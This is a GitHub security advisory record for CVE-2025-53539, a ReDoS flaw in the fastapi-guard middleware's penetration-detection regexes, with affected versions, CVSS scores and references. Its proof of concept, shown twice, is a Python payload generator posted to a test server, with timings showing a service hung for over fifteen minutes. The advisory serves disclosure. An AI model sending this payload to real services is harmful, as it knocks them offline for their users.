GHSA-J47Q-RC62-W448
Vulnerability from github – Published: 2025-07-07 23:36 – Updated: 2025-07-07 23:36Summary
fastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.
It is not as severe as exponential complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.
PoC
e.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7
payload = lambda n: '<'*n+ ' '*n+ 'style=' + '"'*n + ' '*n+ 'url('*n # complexity: O(n^5)
print(requests.post("http://172.24.1.3:8000/", data=payload(50)).elapsed) # 0:00:03.771120
print(requests.post("http://172.24.1.3:8000/", data=payload(100)).elapsed) # 0:01:17.952637
print(requests.post("http://172.24.1.3:8000/", data=payload(200)).elapsed) # timeout (>15min)
Single-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.
Impact
Penetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting enable_penetration_detection=False are vulnerable to DoS.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.0"
},
"package": {
"ecosystem": "PyPI",
"name": "fastapi-guard"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-53539"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-07T23:36:39Z",
"nvd_published_at": "2025-07-07T20:15:28Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nfastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.\n\nIt is not as severe as _exponential_ complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.\n\n### PoC\n\ne.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7\n\n```python\npayload = lambda n: \u0027\u003c\u0027*n+ \u0027 \u0027*n+ \u0027style=\u0027 + \u0027\"\u0027*n + \u0027 \u0027*n+ \u0027url(\u0027*n # complexity: O(n^5)\n\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(50)).elapsed) # 0:00:03.771120\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(100)).elapsed) # 0:01:17.952637\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(200)).elapsed) # timeout (\u003e15min)\n```\n\nSingle-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.\n\n### Impact\n\nPenetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting `enable_penetration_detection=False` are vulnerable to DoS.",
"id": "GHSA-j47q-rc62-w448",
"modified": "2025-07-07T23:36:39Z",
"published": "2025-07-07T23:36:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rennf93/fastapi-guard/security/advisories/GHSA-j47q-rc62-w448"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53539"
},
{
"type": "WEB",
"url": "https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f"
},
{
"type": "PACKAGE",
"url": "https://github.com/rennf93/fastapi-guard"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "fastapi-guard is vulnerable to ReDoS through inefficient regex"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.